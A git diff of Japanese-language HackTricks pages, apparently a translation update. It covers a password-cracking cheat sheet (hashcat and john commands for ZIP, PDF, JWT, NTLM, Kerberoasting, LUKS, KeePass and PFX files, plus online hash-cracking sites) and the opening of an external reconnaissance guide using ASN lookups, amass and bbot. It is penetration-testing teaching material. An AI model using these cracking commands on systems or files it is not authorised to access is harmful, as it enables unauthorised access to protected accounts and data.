* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (ハッシュ、WPA2 キャプチャ、およびアーカイブ MSOffice、ZIP、PDF...) * [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (ハッシュ、WPA2キャプチャ、MSOffice、ZIP、PDFのアーカイブ...)
* [https://crackstation.net/](https://crackstation.net) (ハッシュ) * [https://crackstation.net/](https://crackstation.net) (ハッシュ)
* [https://md5decrypt.net/](https://md5decrypt.net) (MD5) * [https://md5decrypt.net/](https://md5decrypt.net) (MD5)
* [https://gpuhash.me/](https://gpuhash.me) (ハッシュとファイルハッシュ) * [https://gpuhash.me/](https://gpuhash.me) (ハッシュとファイルハッシュ)
* [https://hashes.org/search.php](https://hashes.org/search.php) (ハッシュ) * [https://hashes.org/search.php](https://hashes.org/search.php) (ハッシュ)
* [https://www.cmd5.org/](https://www.cmd5.org) (ハッシュ) * [https://www.cmd5.org/](https://www.cmd5.org) (ハッシュ)
* [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) (MD5、NTLM、SHA1、MySQL5、SHA256、SHA512) * [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512)
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5) * [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
* [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com) * [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)
ハッシュをブルートフォース攻撃する前に、これをチェックしてください。 ハッシュをブルートフォースする前にこれを確認してください。
### ZIP ### ZIP
```bash ```bash
@ -558,9 +489,9 @@ john zip.john
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack .\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
``` ```
#### 既知平文zip攻撃 #### 既知平文zip攻撃
暗号化されたzipファイルの中に含まれるファイルの**平文**(または平文の一部)を知る必要があります。 暗号化されたzipファイル内に含まれるファイルの**ファイル名とサイズを確認**するには、次のコマンドを実行できます:**`7z l encrypted.zip`**\ 暗号化されたzip内に含まれる**ファイルの** **平文**または平文の一部を知っている必要があります。暗号化されたzip内に含まれる**ファイル名とファイルのサイズ**を確認するには、次のコマンドを実行します: **`7z l encrypted.zip`**\
[**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)をリリースページからダウンロードしてください。 [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)をリリースページからダウンロードしてください。
```bash ```bash
# You need to create a zip file containing only the file that is inside the encrypted zip # You need to create a zip file containing only the file that is inside the encrypted zip
@ -574,8 +505,6 @@ zip plaintext.zip plaintext.file
unzip unlocked.zip #User new_pwd as password unzip unlocked.zip #User new_pwd as password
``` ```
### 7z ### 7z
7z ファイルは、パスワードで保護されている場合があります。Brute-force 攻撃を使用して、パスワードを解読することができます。Brute-force 攻撃は、すべての可能な組み合わせを試行し、正しいパスワードを見つける方法です。
```bash ```bash
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
``` ```
@ -587,8 +516,6 @@ apt-get install libcompress-raw-lzma-perl
./7z2john.pl file.7z > 7zhash.john ./7z2john.pl file.7z > 7zhash.john
``` ```
### PDF ### PDF
PDFファイルは、一般的にパスワードで保護されており、Brute Force攻撃を使用してアクセスできます。Brute Force攻撃は、すべての可能なパスワードの組み合わせを試行し、正しいパスワードを見つける手法です。これにより、PDFファイルのパスワードを解読して内容にアクセスすることが可能となります。
```bash ```bash
apt-get install pdfcrack apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
@ -599,7 +526,7 @@ qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
``` ```
### PDFオーナーパスワード ### PDFオーナーパスワード
PDFオーナーパスワードを解読するには、こちらを参照してください: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) PDFオーナーパスワードを解除するには、これを確認してください: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
### JWT ### JWT
```bash ```bash
@ -613,7 +540,7 @@ python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5h
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
john jwt.john #It does not work with Kali-John john jwt.john #It does not work with Kali-John
``` ```
### NTLM クラッ ### NTLM クラッキング
```bash ```bash
Format:USUARIO:ID:HASH_LM:HASH_NT::: Format:USUARIO:ID:HASH_LM:HASH_NT:::
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
@ -628,14 +555,12 @@ keepass2john -k <file-password> file.kdbx > hash # The keepass is also using a f
john --wordlist=/usr/share/wordlists/rockyou.txt hash john --wordlist=/usr/share/wordlists/rockyou.txt hash
``` ```
### Keberoasting ### Keberoasting
### ケベロースティング
```bash ```bash
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
``` ```
### Lucks image ### Luksの画像
#### 方法1 #### 方法1
@ -646,7 +571,7 @@ cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt mount /dev/mapper/mylucksopen /mnt
``` ```
#### 方法2 #### 方法 2
```bash ```bash
cryptsetup luksDump backup.img #Check that the payload offset is set to 4096 cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1 dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
@ -655,7 +580,7 @@ cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt mount /dev/mapper/mylucksopen /mnt
``` ```
別のLuks BFチュートリアル[http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1) 別のLuks BFチュートリアル: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1)
### Mysql ### Mysql
```bash ```bash
@ -663,7 +588,7 @@ mount /dev/mapper/mylucksopen /mnt
<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE> <USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
``` ```
### PGP/GPGの秘密鍵 ### PGP/GPG プライベートキー
```bash ```bash
gpg2john private_pgp.key #This will generate the hash and save it in a file gpg2john private_pgp.key #This will generate the hash and save it in a file
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
@ -672,15 +597,15 @@ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
<figure><img src="../.gitbook/assets/image (663).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (663).png" alt=""><figcaption></figcaption></figure>
### DPAPI Master Key ### DPAPI マスターキー
DPAPIマスターキーを使用して、[https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) を実行し、その後johnを使用します。 [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) を使用し、その後 john を実行します。
### Open Office Pwd Protected Column ### Open Office パスワード保護された列
パスワードで保護された列を持つxlsxファイルがある場合、それを解除することができます: パスワードで保護された列を持つ xlsx ファイルがある場合、次の方法で保護を解除できます:
* **Googleドライブにアップロード**して、パスワードが自動的に削除されます * **Google ドライブにアップロード**すると、パスワードが自動的に削除されます
* **手動で**それを**削除**するには: * **手動で**それを**削除**するには:
```bash ```bash
unzip file.xlsx unzip file.xlsx
@ -690,7 +615,7 @@ hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UV
# Remove that line and rezip the file # Remove that line and rezip the file
zip -r file.xls . zip -r file.xls .
``` ```
### PFX 証明書 ### PFX証明書
```bash ```bash
# From https://github.com/Ridter/p12tool # From https://github.com/Ridter/p12tool
./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt ./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
@ -700,8 +625,8 @@ crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフロー**を簡単に構築および**自動化**します。\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフロー**を簡単に構築し、**自動化**します。\
今すぐアクセスしてください 今すぐアクセスを取得
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
@ -714,22 +639,22 @@ crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
hash-identifier hash-identifier
> <HASH> > <HASH>
``` ```
### ワードリスト ### Wordlists
* **Rockyou** * **Rockyou**
* [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists) * [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists)
* [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists) * [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists)
* [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords) * [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords)
### **ワードリスト生成ツール** ### **Wordlist Generation Tools**
* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** 設定可能なベース文字、キーマップ、およびルートを持つ高度なキーボードウォークジェネレータ * [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** 高度なキーボードウォークジェネレーターで、設定可能なベース文字、キーマップ、ルートを持っています
```bash ```bash
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
``` ```
### Johnの変異 ### John mutation
_**/etc/john/john.conf**_を読み、それを設定します _**/etc/john/john.conf**_ を読み込み、設定します
```bash ```bash
john --wordlist=words.txt --rules --stdout > w_mutated.txt john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
@ -738,16 +663,16 @@ john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
#### Hashcat攻撃 #### Hashcat攻撃
* **ワードリスト攻撃** (`-a 0`) with rules * **ワードリスト攻撃** (`-a 0`) ルール付き
**Hashcat**はすでに**ルールを含むフォルダ**が付属していますが、[**ここで他の興味深いルールを見つけることができます**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules)。 **Hashcat** にはすでに **ルールを含むフォルダー** が付属していますが、[**他の興味深いルールはここにあります**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules)。
``` ```
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
``` ```
* **ワードリスト組み合わせ**攻撃 * **Wordlist combinator** 攻撃
hashcatを使用して、**2つのワードリストを1つに組み合わせる**ことが可能です。\ hashcatを使用して**2つのワードリストを1つに結合する**ことが可能です。\
リスト1に単語**"hello"**が含まれ、2つ目には単語**"world"**と**"earth"**がそれぞれ2行含まれている場合、`helloworld`と`helloearth`が生成されます。 リスト1に単語**"hello"**が含まれ、2番目のリストに単語**"world"**と**"earth"**の2行が含まれている場合、`helloworld`と`helloearth`が生成されます。
```bash ```bash
# This will combine 2 wordlists # This will combine 2 wordlists
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
@ -798,61 +723,23 @@ hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
# Mask numbers will be prepended to each word in the wordlist # Mask numbers will be prepended to each word in the wordlist
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
``` ```
#### Hashcat モード #### Hashcatモード
```bash ```bash
hashcat --example-hashes | grep -B1 -A2 "NTLM" hashcat --example-hashes | grep -B1 -A2 "NTLM"
``` ```
## Brute Forcing Linuxハッシュのクラック - /etc/shadowファイル
Brute forcing is a common technique used to crack passwords by systematically trying all possible combinations of letters, numbers, and symbols until the correct one is found. In the context of cracking Linux hashes stored in the `/etc/shadow` file, brute forcing involves generating potential passwords and hashing them using the same algorithm as the one used in Linux to compare with the hashed passwords in the file. This process continues until a match is found, allowing the attacker to determine the original password.
``` ```
500 | md5crypt $1$, MD5(Unix) | Operating-Systems 500 | md5crypt $1$, MD5(Unix) | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems 3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems 7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems 1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
``` ```
## Brute Force Windowsハッシュのクラッキング
Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is often used to crack password hashes.
### Tools
There are several tools available for performing brute force attacks, such as:
- **John the Ripper**: A popular password cracking tool that can perform brute force attacks.
- **Hashcat**: Another powerful tool for cracking password hashes using brute force and other techniques.
- **Hydra**: A versatile password-cracking tool that supports various protocols for brute force attacks.
### Methodology
1. **Select Target**: Identify the target system or application for which you want to crack the password hash.
2. **Choose Tool**: Select an appropriate tool based on the target and type of hash you are trying to crack.
3. **Configure Tool**: Set up the tool with the necessary parameters, such as the hash type and any specific rules for the brute force attack.
4. **Initiate Attack**: Start the brute force attack and let the tool run until it finds the correct key or password.
5. **Verify**: Once the attack is complete, verify the results to ensure the correct key or password has been found.
By following this methodology and using the right tools, you can effectively crack Windows hashes using brute force attacks.
``` ```
3000 | LM | Operating-Systems 3000 | LM | Operating-Systems
1000 | NTLM | Operating-Systems 1000 | NTLM | Operating-Systems
``` ```
## Brute-Force 一般的なアプリケーションハッシュのクラッキング
### Dictionary Attacks
Dictionary attacks are a common method used to crack hashes. They involve using a predefined list of words or phrases (dictionary) to try to match the hash. This method is effective when the password is a common word, phrase, or combination of characters.
### Brute-Force Attacks
Brute-force attacks involve systematically checking all possible combinations of characters until the correct one is found. This method is effective but can be time-consuming, especially for longer and more complex passwords.
### Rainbow Tables
Rainbow tables are precomputed tables used to crack password hashes. They contain a large number of hashes and their corresponding plaintext passwords. By looking up the hash in a rainbow table, an attacker can quickly find the corresponding password.
### Hybrid Attacks
Hybrid attacks combine dictionary and brute-force methods to crack hashes. They first use a dictionary attack with common words and then switch to a brute-force attack for more complex passwords. This method is more efficient than using either attack on its own.
``` ```
900 | MD4 | Raw Hash 900 | MD4 | Raw Hash
0 | MD5 | Raw Hash 0 | MD5 | Raw Hash
@ -862,24 +749,25 @@ Hybrid attacks combine dictionary and brute-force methods to crack hashes. They
1400 | SHA-256 | Raw Hash 1400 | SHA-256 | Raw Hash
1700 | SHA-512 | Raw Hash 1700 | SHA-512 | Raw Hash
``` ```
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法: * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)で**フォロー**する
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。
</details> </details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスしてください: 今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}

View file

@ -1,58 +1,59 @@
# 外部調査方法論 # 外部リコンメソッド
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じて、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法: * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローする。
* **ハッキングテクニックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出してください。
</details> </details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味がある方や、**解読不能なものをハック**したい方 - **採用中です!**(流暢なポーランド語の読み書きが必要です) **ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
## 資産の発見 ## 資産の発見
> ある企業に属するすべてのものが対象に含まれていると言われ、この企業が実際に何を所有しているのかを把握したいと思っています。 > ある会社に属するすべてのものがスコープ内にあると言われ、その会社が実際に所有しているものを把握したいと思っています。
このフェーズの目標は、まず**主要企業が所有する企業**をすべて取得し、その後これらの企業の**資産**をすべて取得することです。これを行うために、以下の手順を実行します: このフェーズの目標は、**主要な会社が所有するすべての会社**を取得し、次にこれらの会社の**資産**を取得することです。そのために、私たちは以下を行います:
1. 主要企業の買収を見つけることで、対象に含まれる企業を取得します。 1. 主要な会社の買収を見つけます。これにより、スコープ内の会社がわかります。
2. 各企業のASNあればを見つけることで、各企業が所有するIP範囲を取得します。 2. 各会社のASNあればを見つけます。これにより、各会社が所有するIP範囲がわかります。
3. 逆whois検索を使用して、最初のエントリ(組織名、ドメインなど)に関連する他のエントリを検索します(これは再帰的に行うことができます)。 3. 逆Whois検索を使用して、最初のものに関連する他のエントリ(組織名、ドメインなど)を検索します(これは再帰的に行うことができます)。
4. 他の手法shodan `org`および`ssl`フィルターなど)を使用して、他の資産を検索します(`ssl`トリックは再帰的に行うことができます)。 4. shodanの`org`および`ssl`フィルターなどの他の技術を使用して、他の資産を検索します(`ssl`トリックは再帰的に行うことができます)。
### **買収** ### **買収**
まず最初に、**主要企業が所有する他の企業**を知る必要があります。\ まず、**主要な会社が所有する他の会社**を知る必要があります。\
[https://www.crunchbase.com/](https://www.crunchbase.com) にアクセスし、**主要企業**を検索し、**「acquisitions」**をクリックすると、主要企業が取得した他の企業が表示されます。\ 1つのオプションは、[https://www.crunchbase.com/](https://www.crunchbase.com)を訪れ、**主要な会社**を**検索**し、**「買収」**を**クリック**することです。そこで、主要な会社によって取得された他の会社を見ることができます。\
他のオプションとしては、主要企業の**Wikipedia**ページを訪れ、**買収**を検索することがあります。 もう1つのオプションは、主要な会社の**Wikipedia**ページを訪れ、**買収**を検索することです。
> この時点で、対象に含まれるすべての企業を把握するはずです。それでは、彼らの資産を見つける方法を考えてみましょう。 > さて、この時点でスコープ内のすべての会社を知っているはずです。彼らの資産を見つける方法を考えましょう。
### **ASNs** ### **ASNs**
自律システム番号(**ASN**)は、**インターネット割り当て番号機関IANA**によって**自律システムAS**に割り当てられた**一意の番号**です。\ 自律システム番号(**ASN**)は、**インターネット割り当て番号機関IANA**によって**自律システム**ASに割り当てられた**ユニークな番号**です。\
**AS**は、外部ネットワークへのアクセスに対する明確に定義されたポリシーを持つ**IPアドレスのブロック**で構成され、単一の組織によって管理されますが、複数のオペレータで構成されている場合があります。 **AS**は、外部ネットワークへのアクセスに対して明確に定義されたポリシーを持つ**IPアドレス****ブロック**で構成され、単一の組織によって管理されますが、複数のオペレータで構成される場合があります。
企業がどのような**ASNを割り当てているか**を見つけることは興味深いです。その企業の**IP範囲**を見つけるために**脆弱性テスト**を実行し、**対象**内のすべての**ホスト**に対して実行し、これらのIP内の**ドメイン**を検索します。\ **会社が割り当てたASN**を見つけて、その**IP範囲**を特定することは興味深いです。**スコープ内のすべてのホスト**に対して**脆弱性テスト**を実施し、これらのIP内の**ドメイン**を探すことが興味深いでしょう。\
[**https://bgp.he.net/**](https://bgp.he.net) で企業の**名前**、**IP**、または**ドメイン**で検索できます。\ [**https://bgp.he.net/**](https://bgp.he.net)で会社の**名前**、**IP**、または**ドメイン**で**検索**できます。\
**企業の地域に応じて、これらのリンクはより多くのデータを収集するのに役立つ可能性があります:** [**AFRINIC**](https://www.afrinic.net) **(アフリカ)**、[**Arin**](https://www.arin.net/about/welcome/region/) **(北アメリカ)**、[**APNIC**](https://www.apnic.net) **(アジア)**、[**LACNIC**](https://www.lacnic.net) **(ラテンアメリカ)**、[**RIPE NCC**](https://www.ripe.net) **(ヨーロッパ)**。とにかく、おそらくすべての**有用な情報IP範囲とWhois**は最初のリンクに既に表示されています。 **会社の地域によっては、これらのリンクがより多くのデータを収集するのに役立つかもしれません:** [**AFRINIC**](https://www.afrinic.net) **(アフリカ)、** [**Arin**](https://www.arin.net/about/welcome/region/)**(北アメリカ)、** [**APNIC**](https://www.apnic.net) **(アジア)、** [**LACNIC**](https://www.lacnic.net) **(ラテンアメリカ)、** [**RIPE NCC**](https://www.ripe.net) **(ヨーロッパ)。とにかく、恐らくすべての**有用な情報**IP範囲とWhoisは最初のリンクにすでに表示されています。
```bash ```bash
#You can try "automate" this with amass, but it's not very recommended #You can try "automate" this with amass, but it's not very recommended
amass intel -org tesla amass intel -org tesla
amass intel -asn 8911,50313,394161 amass intel -asn 8911,50313,394161
``` ```
また、[**BBOT**](https://github.com/blacklanternsecurity/bbot)**の**サブドメイン列挙は、スキャンの最後にASNを自動的に集約および要約します。 また、[**BBOT**](https://github.com/blacklanternsecurity/bbot)**の**サブドメイン列挙は、スキャンの最後にASNを自動的に集約して要約します。
```bash ```bash
bbot -t tesla.com -f subdomain-enum bbot -t tesla.com -f subdomain-enum
... ...
@ -69,56 +70,59 @@ bbot -t tesla.com -f subdomain-enum
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+ [INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
``` ```
組織のIP範囲を見つけることもできます [http://asnlookup.com/](http://asnlookup.com)無料APIを提供\ You can find the IP ranges of an organisation also using [http://asnlookup.com/](http://asnlookup.com) (it has free API).\
ドメインのIPとASNを見つけることができます [http://ipv4info.com/](http://ipv4info.com)。 You can fins the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4info.com).
### **脆弱性を探す** ### **脆弱性の探索**
